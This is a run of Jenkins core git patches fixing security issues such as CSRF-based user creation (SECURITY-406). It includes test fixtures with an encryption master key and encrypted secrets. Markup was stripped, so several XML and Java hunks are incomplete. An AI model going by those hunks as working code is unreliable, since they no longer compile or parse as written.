-43,10 +43,13 @@ import java.io.PrintStream; import java.util.Arrays; import java.util.Collections; import java.util.Locale; +import java.util.regex.Pattern; + import jenkins.model.Jenkins; import org.acegisecurity.Authentication; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.not; +import static org.hamcrest.core.Is.is; import static org.junit.Assert.assertThat; import org.jvnet.hudson.test.HudsonTestCase; import org.jvnet.hudson.test.Issue; @@ -78,10 +81,19 @@ public class PasswordTest extends HudsonTestCase implements Describable" + sEnc + "")); + + assertThat(Pattern.compile("" + xml_regex_match + "").matcher(xmlAdmin).find(), is(true)); assertThat(xmlAdmin, containsString("" + p.getDisplayName() + "")); assertThat(xmlAdmin, containsString("" + p.getDescription() + "")); // CLICommandInvoker does not work here, as it sets up its own SecurityRealm + AuthorizationStrategy. @@ -131,11 +144,11 @@ public class PasswordTest extends HudsonTestCase implements Describable + + + 1.625.4-SNAPSHOT (private-12/16/2016 18:04 GMT-rsandell) + 2 + NORMAL + true + + + false + + ${ITEM_ROOTDIR}/workspace + ${ITEM_ROOTDIR}/builds + + + + + 5 + 0 + + + + All + false + false + + + + All + 0 + + + + \ No newline at end of file diff --git a/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/jobs/OldSecret/config.xml b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/jobs/OldSecret/config.xml new file mode 100644 index 0000000000..e094ad77fd --- /dev/null +++ b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/jobs/OldSecret/config.xml @@ -0,0 +1,27 @@ + + + + + false + + + + + alice + theSecret + z/Dd3qrHdQ6/C5lR7uEafM/jD3nQDrGprw3XsfZ/0vo= + + + + + + true + false + false + false + + false + + + + \ No newline at end of file diff --git a/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/hudson.util.Secret b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/hudson.util.Secret new file mode 100644 index 0000000000000000000000000000000000000000..cdec3920fbc06ca5f07e25e884ea246c80f898d4 GIT binary patch literal 272 zcmV+r0q_2*6%{s0ht|6$Z8z))t|l)&1ny;IB`WdC+cNvem;y-ic$|YUZcP z7)L*-wH8Ml#ULpjze85UAdBs5{CyvOY1|MBD9#gu-M-3yCnC>9c}H&cV&KMWsX`xd zvgnC7{{@5o4f7ZkQ=z8rXE;Ztvx2o_XNBer_PlM$sL~1(njgRLp(=QJ+8C*6+wlE` zaK`~?T4b6>p-#u>XiKswSqwa literal 0 HcmV?d00001 diff --git a/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/master.key b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/master.key new file mode 100644 index 0000000000..2572203a97 --- /dev/null +++ b/test/src/test/resources/hudson/util/SecretCompatTest/canReadPreSec304Secrets/secrets/master.key @@ -0,0 +1 @@ +4311ab5e95e3da7b9b1360b52cac6f0f666db7b48f9f701296cc07c8f00612b451f1874e584d49560810619e8a6ff6b19f8f58ae1305c515fc62a7b60ea3a69e6058cad16b2c8df317952b749fdaaecab013431da55bb4ea4b8eee754fa043261b51a99a2b537fd57f867cdcb1e209f3bba735a8672dbfc3f10b0e2209a81683 \ No newline at end of file -- GitLab From 1b76edd98702b34248625d5dc349d57ae7ad52e6 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Thu, 12 Jan 2017 17:24:54 -0500 Subject: [PATCH 730/811] Compilable against Servlet 3.1. --- .../java/hudson/util/XStream2Security383Test.java | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/test/src/test/java/hudson/util/XStream2Security383Test.java b/test/src/test/java/hudson/util/XStream2Security383Test.java index 1e3897a5f2..7e089e4cc4 100644 --- a/test/src/test/java/hudson/util/XStream2Security383Test.java +++ b/test/src/test/java/hudson/util/XStream2Security383Test.java @@ -14,6 +14,7 @@ import org.kohsuke.stapler.StaplerResponse; import org.mockito.Mock; import org.mockito.MockitoAnnotations; +import javax.servlet.ReadListener; import javax.servlet.ServletInputStream; import java.io.File; import java.io.IOException; @@ -116,5 +117,17 @@ public class XStream2Security383Test { public int read() throws IOException { return inner.read(); } + @Override + public boolean isFinished() { + throw new UnsupportedOperationException(); + } + @Override + public boolean isReady() { + throw new UnsupportedOperationException(); + } + @Override + public void setReadListener(ReadListener readListener) { + throw new UnsupportedOperationException(); + } } } -- GitLab From 10193b80a9c4de14a5b4ebdd7663b7c753641440 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 11 Jan 2017 19:16:57 -0500 Subject: [PATCH 731/811] Switching to SystemProperties. --- core/src/main/java/hudson/console/ConsoleNote.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index f44b7b6db6..1f6caad754 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -53,6 +53,7 @@ import com.jcraft.jzlib.GZIPInputStream; import com.jcraft.jzlib.GZIPOutputStream; import hudson.remoting.ClassFilter; import jenkins.security.HMACConfidentialKey; +import jenkins.util.SystemProperties; /** * Data that hangs off from a console output. @@ -128,7 +129,7 @@ public abstract class ConsoleNote implements Serializable, Describable Date: Thu, 19 Jan 2017 10:51:01 -0500 Subject: [PATCH 732/811] encryptedValueStaysTheSameAfterRoundtrip was failing in Jenkins 2 since the sidepanel is no longer displayed on the configuration screen. --- test/src/test/java/hudson/util/SecretCompatTest.java | 1 + 1 file changed, 1 insertion(+) diff --git a/test/src/test/java/hudson/util/SecretCompatTest.java b/test/src/test/java/hudson/util/SecretCompatTest.java index 8c440c4ff9..dc15312bfb 100644 --- a/test/src/test/java/hudson/util/SecretCompatTest.java +++ b/test/src/test/java/hudson/util/SecretCompatTest.java @@ -70,6 +70,7 @@ public class SecretCompatTest { public void encryptedValueStaysTheSameAfterRoundtrip() throws Exception { FreeStyleProject project = j.createFreeStyleProject(); project.addProperty(new ParametersDefinitionProperty(new PasswordParameterDefinition("p", "s3cr37", "Keep this a secret"))); + project.getAllActions(); // initialize Actionable.actions; otherwise first made nonnull while rendering sidepanel after redirect after round #1 has been saved, so only round #2 has project = j.configRoundtrip(project); String round1 = project.getConfigFile().asString(); project = j.configRoundtrip(project); -- GitLab From 1c6a92faffa5b1af157e2fff4dd82bca96215cf7 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 10 Jan 2017 17:30:23 -0500 Subject: [PATCH 733/811] Can now use @Issue with String[]. --- .../java/jenkins/security/s2m/AdminFilePathFilterTest.java | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java b/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java index 4df4df76ca..80d137d6a2 100644 --- a/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java +++ b/test/src/test/java/jenkins/security/s2m/AdminFilePathFilterTest.java @@ -30,6 +30,7 @@ import static org.junit.Assert.*; import org.junit.Before; import org.junit.Rule; import org.junit.Test; +import org.jvnet.hudson.test.Issue; import org.jvnet.hudson.test.JenkinsRule; public class AdminFilePathFilterTest { @@ -46,7 +47,7 @@ public class AdminFilePathFilterTest { rule.setMasterKillSwitch(false); } - // TODO in master when using a version taking a String[]: @Issue({"JENKINS-27055", "SECURITY-358"}) + @Issue({"JENKINS-27055", "SECURITY-358"}) @Test public void matchBuildDir() throws Exception { File buildDir = r.buildAndAssertSuccess(r.createFreeStyleProject()).getRootDir(); -- GitLab From 8fe2b361259d4ef14e9257ebca47d12de16e05ab Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 11 Jan 2017 19:26:45 -0500 Subject: [PATCH 734/811] Updated comment. --- core/src/test/java/hudson/console/AnnotatedLargeTextTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java b/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java index 9456b1f398..a2247aa096 100644 --- a/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java +++ b/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java @@ -45,7 +45,7 @@ public class AnnotatedLargeTextTest { @Rule public ConfidentialStoreRule confidentialStoreRule = new ConfidentialStoreRule(); - /* TODO in trunk: + /* TODO defined in jenkins-test-harness and so not available from tests in core module; use if moved to test module: @Rule public LoggerRule logging = new LoggerRule().record(ConsoleAnnotationOutputStream.class, Level.FINE).capture(100); */ -- GitLab From 3a6c679c9e74f70f8e33cf97fc90bac5ffbd0733 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 18 Jan 2017 13:41:50 -0500 Subject: [PATCH 735/811] Updated some TODO comments. --- .../java/jenkins/security/CryptoConfidentialKey.java | 10 +++++----- test/src/test/java/lib/form/PasswordTest.java | 3 +-- 2 files changed, 6 insertions(+), 7 deletions(-) diff --git a/core/src/main/java/jenkins/security/CryptoConfidentialKey.java b/core/src/main/java/jenkins/security/CryptoConfidentialKey.java index f402706013..836e71dd69 100644 --- a/core/src/main/java/jenkins/security/CryptoConfidentialKey.java +++ b/core/src/main/java/jenkins/security/CryptoConfidentialKey.java @@ -21,7 +21,7 @@ import java.security.GeneralSecurityException; * @since 1.498 */ public class CryptoConfidentialKey extends ConfidentialKey { - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending API public static final int DEFAULT_IV_LENGTH = 16; private volatile SecretKey secret; @@ -74,7 +74,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { * @param iv the initialization vector * @return the cipher */ - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending API public Cipher encrypt(byte[] iv) { try { Cipher cipher = Secret.getCipher(ALGORITHM); @@ -90,7 +90,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { * @param iv the initialization vector * @return the cipher */ - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending ApI public Cipher decrypt(byte[] iv) { try { Cipher cipher = Secret.getCipher(ALGORITHM); @@ -107,7 +107,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { * @return some random bytes * @see #encrypt(byte[]) */ - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending API public byte[] newIv(int length) { return ConfidentialStore.get().randomBytes(length); } @@ -118,7 +118,7 @@ public class CryptoConfidentialKey extends ConfidentialKey { * @see #newIv(int) * @see #encrypt(byte[]) */ - @Restricted(NoExternalUse.class) //TODO remove when in mainline + @Restricted(NoExternalUse.class) // TODO pending API public byte[] newIv() { return newIv(DEFAULT_IV_LENGTH); } diff --git a/test/src/test/java/lib/form/PasswordTest.java b/test/src/test/java/lib/form/PasswordTest.java index 3cb91a47d1..c9c893fc56 100644 --- a/test/src/test/java/lib/form/PasswordTest.java +++ b/test/src/test/java/lib/form/PasswordTest.java @@ -77,8 +77,7 @@ public class PasswordTest extends HudsonTestCase implements Describable {} - // TODO in trunk switch to @Issue({"SECURITY-266","SECURITY-304"}) - @Issue("SECURITY-266, SECURITY-304") + @Issue({"SECURITY-266", "SECURITY-304"}) public void testExposedCiphertext() throws Exception { boolean saveEnabled = Item.EXTENDED_READ.getEnabled(); try { -- GitLab From 0a11e21d14cb9f5aa1d97e158619db47db4cb971 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 19 Jan 2017 18:26:51 +0100 Subject: [PATCH 736/811] [SECURITY-406] Prevent user creation via GET /user/whatever --- core/src/main/java/hudson/model/User.java | 16 ++++++++++ core/src/main/java/jenkins/model/Jenkins.java | 2 +- .../test/java/jenkins/model/JenkinsTest.java | 30 +++++++++++++++++++ 3 files changed, 47 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index b8c70b4555..dd3fd4444e 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -1078,5 +1078,21 @@ public class User extends AbstractModelObject implements AccessControlled, Descr * JENKINS-22346. */ public static boolean ALLOW_NON_EXISTENT_USER_TO_LOGIN = Boolean.getBoolean(User.class.getName()+".allowNonExistentUserToLogin"); + + + /** + * Jenkins historically created a (usually) ephemeral user record when an user with Overall/Administer permission + * accesses a /user/arbitraryName URL. + *

                                                          + * Unfortunately this constitutes a CSRF vulnerability, as malicious users can make admins create arbitrary numbers + * of ephemeral user records, so the behavior was changed in Jenkins 2.TODO / 2.32.2. + *

                                                          + * As some users may be relying on the previous behavior, setting this to true restores the previous behavior. This + * is not recommended. + * + * SECURITY-406. + */ + @Restricted(NoExternalUse.class) + public static boolean ALLOW_USER_CREATION_VIA_URL = Boolean.getBoolean(User.class.getName() + ".allowUserCreationViaUrl"); } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 5d45327007..faa2da5314 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -2489,7 +2489,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve * @see User#get(String,boolean), {@link User#getById(String, boolean)} */ public @CheckForNull User getUser(String name) { - return User.get(name,hasPermission(ADMINISTER)); + return User.get(name, User.ALLOW_USER_CREATION_VIA_URL && hasPermission(ADMINISTER)); } public synchronized TopLevelItem createProject( TopLevelItemDescriptor type, String name ) throws IOException { diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index 6664193d57..fa5d778692 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -26,6 +26,7 @@ package jenkins.model; import static org.hamcrest.MatcherAssert.assertThat; import static org.hamcrest.Matchers.containsString; import static org.hamcrest.Matchers.equalTo; +import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; import static org.junit.Assert.assertFalse; import static org.junit.Assert.assertEquals; @@ -81,6 +82,35 @@ public class JenkinsTest { @Rule public JenkinsRule j = new JenkinsRule(); + @Issue("SECURITY-406") + @Test + public void testUserCreationFromUrlForAdmins() throws Exception { + WebClient wc = j.createWebClient(); + + assertNull("User not supposed to exist", User.getById("nonexistent", false)); + + try { + wc.goTo("user/nonexistent"); + fail("expected exception"); + } catch (FailingHttpStatusCodeException ex) { + assertEquals("expect 404", 404, ex.getStatusCode()); + } + + assertNull("User not supposed to exist", User.getById("nonexistent", false)); + + try { + User.ALLOW_USER_CREATION_VIA_URL = true; + + // expected to work + wc.goTo("user/nonexistent2"); + + assertNotNull("User supposed to exist", User.getById("nonexistent2", false)); + + } finally { + User.ALLOW_USER_CREATION_VIA_URL = false; + } + } + @Test public void testIsDisplayNameUniqueTrue() throws Exception { final String curJobName = "curJobName"; -- GitLab From 4036ca2fa00d204caffd58f030a9c1cf3bd2801a Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Thu, 19 Jan 2017 18:38:45 +0100 Subject: [PATCH 737/811] [SECURITY-406] Address review comments --- core/src/main/java/hudson/model/User.java | 1 + core/src/main/java/jenkins/model/Jenkins.java | 2 +- test/src/test/java/jenkins/model/JenkinsTest.java | 9 +-------- 3 files changed, 3 insertions(+), 9 deletions(-) diff --git a/core/src/main/java/hudson/model/User.java b/core/src/main/java/hudson/model/User.java index dd3fd4444e..8f850bc308 100644 --- a/core/src/main/java/hudson/model/User.java +++ b/core/src/main/java/hudson/model/User.java @@ -1092,6 +1092,7 @@ public class User extends AbstractModelObject implements AccessControlled, Descr * * SECURITY-406. */ + // TODO 2.4+ SystemProperties @Restricted(NoExternalUse.class) public static boolean ALLOW_USER_CREATION_VIA_URL = Boolean.getBoolean(User.class.getName() + ".allowUserCreationViaUrl"); } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index faa2da5314..4a433ce90d 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -2485,7 +2485,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Gets the user of the given name. * - * @return the user of the given name (which may or may not be an id), if that person exists or the invoker {@link #hasPermission} on {@link #ADMINISTER}; else null + * @return the user of the given name (which may or may not be an id), if that person exists; else null * @see User#get(String,boolean), {@link User#getById(String, boolean)} */ public @CheckForNull User getUser(String name) { diff --git a/test/src/test/java/jenkins/model/JenkinsTest.java b/test/src/test/java/jenkins/model/JenkinsTest.java index fa5d778692..201ce15856 100644 --- a/test/src/test/java/jenkins/model/JenkinsTest.java +++ b/test/src/test/java/jenkins/model/JenkinsTest.java @@ -88,14 +88,7 @@ public class JenkinsTest { WebClient wc = j.createWebClient(); assertNull("User not supposed to exist", User.getById("nonexistent", false)); - - try { - wc.goTo("user/nonexistent"); - fail("expected exception"); - } catch (FailingHttpStatusCodeException ex) { - assertEquals("expect 404", 404, ex.getStatusCode()); - } - + wc.assertFails("user/nonexistent", 404); assertNull("User not supposed to exist", User.getById("nonexistent", false)); try { -- GitLab From 23f5a98677805dc034c0852733c8842aa7144385 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Tue, 24 Jan 2017 13:28:44 +0100 Subject: [PATCH 738/811] Avoid the use of apt-maven-plugin as it does not seem to contribute to release in any way --- core/pom.xml | 12 ------------ pom.xml | 5 ----- 2 files changed, 17 deletions(-) diff --git a/core/pom.xml b/core/pom.xml index 9455e117c2..9d07f66f5f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -852,18 +852,6 @@ THE SOFTWARE. release - - com.mysema.maven - apt-maven-plugin - - - - - process - - - - - 2.14 + 2.14.1-20170124.191714-1 1.4.1 0.11 ${skipTests} -- GitLab From 9fb6ccf21e325e66091fdbdbb4679f37fb1f086d Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Tue, 24 Jan 2017 23:40:19 +0100 Subject: [PATCH 741/811] Fix copy paste error --- changelog.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 380bd7411b..781adb6a45 100644 --- a/changelog.html +++ b/changelog.html @@ -104,7 +104,7 @@ Upcoming changes

                                                        • Prevent the ClassNotFoundException: javax.servlet.ServletException error when invoking shell tasks on remote agents. - (issue 39268) + (issue 40863)
                                                        • Jobs were hanging during process termination on the Solaris 11 Intel platform. (issue 40470, regression in 2.20) -- GitLab From 696d2259e94347024db6e261894d4f84346b076c Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Tue, 24 Jan 2017 19:05:20 -0500 Subject: [PATCH 742/811] Switching to ACL.as. --- test/src/test/java/hudson/model/NodeTest.java | 24 ++++++------------- 1 file changed, 7 insertions(+), 17 deletions(-) diff --git a/test/src/test/java/hudson/model/NodeTest.java b/test/src/test/java/hudson/model/NodeTest.java index 5668aec8a6..5accdc489a 100644 --- a/test/src/test/java/hudson/model/NodeTest.java +++ b/test/src/test/java/hudson/model/NodeTest.java @@ -35,6 +35,7 @@ import hudson.model.Queue.WaitingItem; import hudson.model.labels.*; import hudson.model.queue.CauseOfBlockage; import hudson.security.ACL; +import hudson.security.ACLContext; import hudson.security.GlobalMatrixAuthorizationStrategy; import hudson.security.HudsonPrivateSecurityRealm; import hudson.security.Permission; @@ -51,15 +52,12 @@ import java.util.*; import java.util.concurrent.Callable; import jenkins.model.Jenkins; -import jenkins.security.NotReallyRoleSensitiveCallable; import jenkins.security.QueueItemAuthenticatorConfiguration; -import org.acegisecurity.Authentication; import org.acegisecurity.context.SecurityContextHolder; import static org.hamcrest.core.StringEndsWith.endsWith; import static org.junit.Assert.*; -import org.jenkinsci.remoting.RoleChecker; import org.junit.Before; import org.junit.Rule; import org.junit.Test; @@ -133,13 +131,9 @@ public class NodeTest { Node node = j.createOnlineSlave(); final Computer computer = node.toComputer(); OfflineCause.UserCause cause; - ACL.impersonate(Jenkins.ANONYMOUS, new NotReallyRoleSensitiveCallable() { - @Override - public Void call() throws Exception { - computer.doToggleOffline("original message"); - return null; - } - }); + try (ACLContext ctxt = ACL.as(Jenkins.ANONYMOUS)) { + computer.doToggleOffline("original message"); + } cause = (UserCause) computer.getOfflineCause(); assertThat(cause.toString(), endsWith("Disconnected by anonymous : original message")); @@ -147,13 +141,9 @@ public class NodeTest { final User root = User.get("root@localhost"); - ACL.impersonate(root.impersonate(), new NotReallyRoleSensitiveCallable() { - @Override - public Void call() throws Exception { - computer.doChangeOfflineCause("new message"); - return null; - } - }); + try (ACLContext ctxt = ACL.as(root.impersonate())) { + computer.doChangeOfflineCause("new message"); + } cause = (UserCause) computer.getOfflineCause(); assertThat(cause.toString(), endsWith("Disconnected by root@localhost : new message")); assertEquals(root, cause.getUser()); -- GitLab From 2527e66dd8f9dd23a2571f8bd8f2918edf6fc0cd Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 25 Jan 2017 13:23:21 -0500 Subject: [PATCH 743/811] [SECURITY-382] Be more compatible with maven-plugin. --- core/src/main/java/hudson/console/ConsoleNote.java | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index f44b7b6db6..d80713762f 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -191,9 +191,11 @@ public abstract class ConsoleNote implements Serializable, Describable Date: Wed, 25 Jan 2017 14:43:33 -0500 Subject: [PATCH 744/811] Rearranged tests now that ConsoleNote.encodeToBytes pays attention to Jenkins.instance. --- .../main/java/jenkins/security/ConfidentialStore.java | 6 ++---- core/src/test/java/hudson/model/TaskActionTest.java | 10 ++-------- .../java/jenkins/security/ConfidentialStoreRule.java | 7 +++++-- .../java/hudson/console/AnnotatedLargeTextTest.java | 10 +++++----- 4 files changed, 14 insertions(+), 19 deletions(-) rename {core => test}/src/test/java/hudson/console/AnnotatedLargeTextTest.java (96%) diff --git a/core/src/main/java/jenkins/security/ConfidentialStore.java b/core/src/main/java/jenkins/security/ConfidentialStore.java index 3e8e3b4b4d..9b3efdbec6 100644 --- a/core/src/main/java/jenkins/security/ConfidentialStore.java +++ b/core/src/main/java/jenkins/security/ConfidentialStore.java @@ -61,9 +61,7 @@ public abstract class ConfidentialStore { * Retrieves the currently active singleton instance of {@link ConfidentialStore}. */ public static @Nonnull ConfidentialStore get() { - if (TEST != null) { - return TEST; - } + if (TEST!=null) return TEST.get(); Jenkins j = Jenkins.getInstance(); if (j == null) { @@ -97,7 +95,7 @@ public abstract class ConfidentialStore { /** * Testing only. Used for testing {@link ConfidentialKey} without {@link Jenkins} */ - /*package*/ static ConfidentialStore TEST = null; + /*package*/ static ThreadLocal TEST = null; private static final Logger LOGGER = Logger.getLogger(ConfidentialStore.class.getName()); } diff --git a/core/src/test/java/hudson/model/TaskActionTest.java b/core/src/test/java/hudson/model/TaskActionTest.java index 8b86e0ca93..ec31498e07 100644 --- a/core/src/test/java/hudson/model/TaskActionTest.java +++ b/core/src/test/java/hudson/model/TaskActionTest.java @@ -1,16 +1,13 @@ package hudson.model; -import static org.junit.Assert.*; +import static org.junit.Assert.assertTrue; import java.io.ByteArrayOutputStream; import hudson.console.AnnotatedLargeText; import hudson.security.ACL; import hudson.security.Permission; -import jenkins.security.ConfidentialStoreRule; import org.acegisecurity.Authentication; -import static org.hamcrest.CoreMatchers.startsWith; -import org.junit.Rule; import org.junit.Test; /** @@ -18,9 +15,6 @@ import org.junit.Test; */ public class TaskActionTest { - @Rule - public ConfidentialStoreRule confidentialStoreRule = new ConfidentialStoreRule(); - private static class MyTaskThread extends TaskThread { MyTaskThread(TaskAction taskAction) { super(taskAction, ListenerAndText.forMemory(taskAction)); @@ -69,6 +63,6 @@ public class TaskActionTest { } ByteArrayOutputStream os = new ByteArrayOutputStream(); annotatedText.writeLogTo(0, os); - assertThat(os.toString("UTF-8"), startsWith("a linkCompleted")); + assertTrue(os.toString("UTF-8").startsWith("a linkCompleted")); } } diff --git a/core/src/test/java/jenkins/security/ConfidentialStoreRule.java b/core/src/test/java/jenkins/security/ConfidentialStoreRule.java index c42c8e6b7b..db46255ba6 100644 --- a/core/src/test/java/jenkins/security/ConfidentialStoreRule.java +++ b/core/src/test/java/jenkins/security/ConfidentialStoreRule.java @@ -14,13 +14,16 @@ public class ConfidentialStoreRule extends ExternalResource { @Override protected void before() throws Throwable { tmp.create(); - ConfidentialStore.TEST = new DefaultConfidentialStore(tmp.getRoot()); + ConfidentialStore.TEST.set(new DefaultConfidentialStore(tmp.getRoot())); } @Override protected void after() { - ConfidentialStore.TEST = null; + ConfidentialStore.TEST.set(null); tmp.delete(); } + static { + ConfidentialStore.TEST = new ThreadLocal(); + } } diff --git a/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java b/test/src/test/java/hudson/console/AnnotatedLargeTextTest.java similarity index 96% rename from core/src/test/java/hudson/console/AnnotatedLargeTextTest.java rename to test/src/test/java/hudson/console/AnnotatedLargeTextTest.java index 9456b1f398..0035a9c789 100644 --- a/core/src/test/java/hudson/console/AnnotatedLargeTextTest.java +++ b/test/src/test/java/hudson/console/AnnotatedLargeTextTest.java @@ -29,23 +29,23 @@ import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.PrintStream; import java.io.StringWriter; -import jenkins.security.ConfidentialStoreRule; import org.apache.commons.io.Charsets; import static org.hamcrest.CoreMatchers.*; import static org.junit.Assert.*; +import org.junit.ClassRule; import org.junit.Test; -import org.junit.Rule; import org.jvnet.hudson.test.For; import org.jvnet.hudson.test.Issue; +import org.jvnet.hudson.test.JenkinsRule; import org.kohsuke.stapler.framework.io.ByteBuffer; @For({AnnotatedLargeText.class, ConsoleNote.class, ConsoleAnnotationOutputStream.class, PlainTextConsoleOutputStream.class}) public class AnnotatedLargeTextTest { - @Rule - public ConfidentialStoreRule confidentialStoreRule = new ConfidentialStoreRule(); + @ClassRule + public static JenkinsRule r = new JenkinsRule(); - /* TODO in trunk: + /* TODO in master: @Rule public LoggerRule logging = new LoggerRule().record(ConsoleAnnotationOutputStream.class, Level.FINE).capture(100); */ -- GitLab From 431140e62b6d62693a06dfb1e4f84268f06b30d1 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 25 Jan 2017 15:40:31 -0500 Subject: [PATCH 745/811] Using Jenkins.getInstanceOrNull. --- core/src/main/java/hudson/console/ConsoleNote.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/console/ConsoleNote.java b/core/src/main/java/hudson/console/ConsoleNote.java index 7adf858296..1bc7dae465 100644 --- a/core/src/main/java/hudson/console/ConsoleNote.java +++ b/core/src/main/java/hudson/console/ConsoleNote.java @@ -192,7 +192,7 @@ public abstract class ConsoleNote implements Serializable, Describable Date: Wed, 25 Jan 2017 15:42:14 -0500 Subject: [PATCH 746/811] Revert "[SECURITY-382] Pick up a fix to maven-plugin." This reverts commit 4c1a23d9e1b711388beb6e2ab10569b7afde495a. No longer needed as of 2527e66dd8f9dd23a2571f8bd8f2918edf6fc0cd. --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 305489d8d4..9f86ae405f 100644 --- a/pom.xml +++ b/pom.xml @@ -92,7 +92,7 @@ THE SOFTWARE. jenkins-jira 1.7.7 - 2.14.1-20170124.191714-1 + 2.14 1.4.1 0.11 ${skipTests} -- GitLab From a26d71153d7609094e449d371d3ab0f8415b887f Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Fri, 27 Jan 2017 14:25:06 +0100 Subject: [PATCH 747/811] [JENKINS-41511] Add a test showing the problem --- .../groovy/jenkins/bugs/Jenkins41511Test.java | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 test/src/test/groovy/jenkins/bugs/Jenkins41511Test.java diff --git a/test/src/test/groovy/jenkins/bugs/Jenkins41511Test.java b/test/src/test/groovy/jenkins/bugs/Jenkins41511Test.java new file mode 100644 index 0000000000..6f677865be --- /dev/null +++ b/test/src/test/groovy/jenkins/bugs/Jenkins41511Test.java @@ -0,0 +1,27 @@ +package jenkins.bugs; + +import org.junit.BeforeClass; +import org.junit.Rule; +import org.junit.Test; +import org.jvnet.hudson.test.JenkinsRule; + +import hudson.security.HudsonPrivateSecurityRealm; +import jenkins.model.Jenkins; + +public class Jenkins41511Test { + + @BeforeClass + public static void setUpClass() { + System.setProperty(Jenkins.class.getName()+".slaveAgentPort", "10000"); + System.setProperty(Jenkins.class.getName()+".slaveAgentPortEnforce", "true"); + } + + @Rule + public JenkinsRule j = new JenkinsRule(); + + @Test + public void configRoundTrip() throws Exception { + Jenkins.getInstance().setSecurityRealm(new HudsonPrivateSecurityRealm(true, false, null)); + j.submit(j.createWebClient().goTo("configureSecurity").getFormByName("config")); + } +} -- GitLab From 5b9c10d6b049c12dafaefea75178c5ed4bb7b9bc Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Fri, 27 Jan 2017 13:57:27 +0100 Subject: [PATCH 748/811] [JENKINS-41511] Don't try to set slaveAgentPort when it is enforced --- .../hudson/security/GlobalSecurityConfiguration.java | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java index c6db287dff..a7f6697463 100644 --- a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java 